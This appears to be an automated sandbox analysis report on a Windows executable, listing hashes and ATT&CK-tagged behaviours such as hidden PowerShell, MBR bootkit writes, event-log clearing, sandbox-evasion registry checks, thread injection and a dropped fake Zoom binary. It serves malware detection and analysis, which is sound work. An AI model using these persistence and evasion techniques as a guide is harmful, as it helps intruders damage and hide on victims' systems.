8b76898a923d08c1cb17e3c784c6545c30cda709f62ff5e6af537fcc56950fa8

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
09/09/2026, 07:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
8b76898a923d08c1cb17e3c784c6545c30cda709f62ff5e6af537fcc56950fa8.exe
Size 15.5MB
Sample260909-h94l6stdlc
SHA256 8b76898a923d08c1cb17e3c784c6545c30cda709f62ff5e6af537fcc56950fa8
MD5 0af5290631b824c9b87ead1c7e140e50
SHA1 71ef8d206b1cc9d6d1bef1fe0a6c8d718226000c
SHA512 690b0b092d4ed4fbc651b793a8e25093946da71cafcb98437b09de04c8b80217319783506e92dd9f9ef114136d755a16b0b2f5a8b973c1ebc19b921fc54082c2
SSDEEP 196608:LsZa5qhmSpDc4GZxgS9jaflhhaTavRYkFSGNXp:LYa5qEic4GZ6aafFa++4p
TLSH
T1FFF68DC5485D9311E5E19BB86DB8F020D26B2405331572FE47329DA83F7ADFA162EE32
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

bootkit defense_evasion discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3808	powershell.exe
3808	powershell.exe
5944	powershell.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p"	WaaSMedicAgent.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 1 IoCs

pid	Process
1772	$99Zoom.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\O:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	wmiprvse.exe

Drops file in System32 directory 24 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_879AFEB08DCB012707582D902977FF92	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\Microsoft\Protect\S-1-5-18\User\0e9bc0c0-edc6-4e48-9f58-ab42a480bf3a	lsass.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_879AFEB08DCB012707582D902977FF92	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_68DC46933CF3DE41CC968E0784D43DC3	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_68DC46933CF3DE41CC968E0784D43DC3	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\Microsoft\Protect\S-1-5-18\User\Preferred	lsass.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4448 set thread context of 5444	4448	8b76898a923d08c1cb17e3c784c6545c30cda709f62ff5e6af537fcc56950fa8.exe	86

Drops file in Windows directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File created	C:\Windows\Logs\CBS\CBS.log	TrustedInstaller.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TrustedInstaller.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4800	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4800	cmd.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe

Checks processor information in registry 2 TTPs 9 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02ebqykzhdbugbal\Provision Wednesday, September 09, 2026 07:27:46 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAwMCbDsbtSE6fWKtCpIC/OgAAAAACAAAAAAAQZgAAAAEAACAAAAD65+9KLMKNHLVCwYhVFbBwkS+uew/YU3u4m+dJ3R/FiwAAAAAOgAAAAAIAACAAAACdQjox7ISXt/60paU9QD5wUDRLhvDGM2Hpazuew6OLkCAAAAAPgYkzW5TO+YiV0AGdXiW1r83aaWTHJx9YHfgYIRSohEAAAAC0XIZ6odIrcukxgpkJ87PL56XsPnq6SjH4cG7VhQYst3vwompkUNBGejdJezFCYn0umEsWMu5kCEul/c4OShsF"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02bmimnalpyeumsf\Provision Wednesday, September 09, 2026 07:27:34 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAwMCbDsbtSE6fWKtCpIC/OgAAAAACAAAAAAAQZgAAAAEAACAAAADFORcwIdFeeDXRkqPCOlVZaArcXwyc7twrK7dQCE18lwAAAAAOgAAAAAIAACAAAABk0DmGNWDulAsuhYOrK16Y6Tcmuew4dUYeFFHOuF0LKiAAAAA9/jUYbaIdjlNyPDh6DUpPhgIWWlE9OW64gfcgO8yd1EAAAAApbR+djHhCQfxtapOz/Pb2lZY6Pl1Dn4v7/Qxp7t/6QkWth8b6Bi/+cFirQELyArVyhw0zrE1OApJxnR5/KGgu"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "577889346,5804129,17110992,7202269,9179409,24262478,41484365,17110988,7153487,508368333,17962391,17962392,3462423,3702920,3700754,3965062,24262474,4297094,7153421,3462365,18716193,7153435,7202265,507286179,41816131,20502174,6308191,18407617,39125643,539756558,504928405,504928410,24262477,25036127,24262473,9179410,6104718,9179411,51475283,41185282,39389248,539756557,528570079"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02bmimnalpyeumsf	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02dmozvktrmqfnvi	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02ruoqqvfqqxzhpv\Provision Wednesday, September 09, 2026 07:27:34 = "AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAwMCbDsbtSE6fWKtCpIC/OgAAAAACAAAAAAAQZgAAAAEAACAAAAAvgjg0VaneJ71HETInOx7unQO7XFnMh9rqonOHCHI0RwAAAAAOgAAAAAIAACAAAACZuvQ76Vf/kpbNVYFHnHIMyZPnUWsaAGBoG3hAtVG4XyAAAAB6uqjuY8tZh78lI0yEhN3rCETo4/AUtBVS8hqJm9V8u0AAAACVbwXHsu1Xj7xqaTDqw60EttYuZfS0NoEfYh6r7m5mFAxTdXGnztj+zGOoZj+6YvpUFK9S0AhTTnaYH2i7c0V6"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02ervlkhcocmbfmq	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02ptpzoqvheilekt\Reason = "2147750679"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,944 15,943 6,1329 15,1329 100,1329 6,943 10,943 15,944 6,940 50,941 15,941 10,941 6,942 15,942 10,942 6,944 100,944 10,944 50,940 6,940 100,940 10,940 15"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\ValidDeviceId	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\Logs\02omjadvsmqiqtvg	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5944	powershell.exe
5944	powershell.exe
5944	powershell.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe
628	winlogon.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3292	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5944	powershell.exe
Token: SeDebugPrivilege	5944	powershell.exe
Token: SeDebugPrivilege	628	winlogon.exe
Token: SeDebugPrivilege	3808	powershell.exe
Token: SeShutdownPrivilege	3252	svchost.exe
Token: SeCreatePagefilePrivilege	3252	svchost.exe
Token: SeShutdownPrivilege	3252	svchost.exe
Token: SeCreatePagefilePrivilege	3252	svchost.exe
Token: SeShutdownPrivilege	3252	svchost.exe
Token: SeCreatePagefilePrivilege	3252	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2316	svchost.exe
Token: SeIncreaseQuotaPrivilege	2316	svchost.exe
Token: SeSecurityPrivilege	2316	svchost.exe
Token: SeTakeOwnershipPrivilege	2316	svchost.exe
Token: SeLoadDriverPrivilege	2316	svchost.exe
Token: SeBackupPrivilege	2316	svchost.exe
Token: SeRestorePrivilege	2316	svchost.exe
Token: SeShutdownPrivilege	2316	svchost.exe
Token: SeSystemEnvironmentPrivilege	2316	svchost.exe
Token: SeManageVolumePrivilege	2316	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2316	svchost.exe
Token: SeIncreaseQuotaPrivilege	2316	svchost.exe
Token: SeSecurityPrivilege	2316	svchost.exe
Token: SeTakeOwnershipPrivilege	2316	svchost.exe
Token: SeLoadDriverPrivilege	2316	svchost.exe
Token: SeSystemtimePrivilege	2316	svchost.exe
Token: SeBackupPrivilege	2316	svchost.exe
Token: SeRestorePrivilege	2316	svchost.exe
Token: SeShutdownPrivilege	2316	svchost.exe
Token: SeSystemEnvironmentPrivilege	2316	svchost.exe
Token: SeUndockPrivilege	2316	svchost.exe
Token: SeManageVolumePrivilege	2316	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2316	svchost.exe
Token: SeIncreaseQuotaPrivilege	2316	svchost.exe
Token: SeSecurityPrivilege	2316	svchost.exe
Token: SeTakeOwnershipPrivilege	2316	svchost.exe
Token: SeLoadDriverPrivilege	2316	svchost.exe
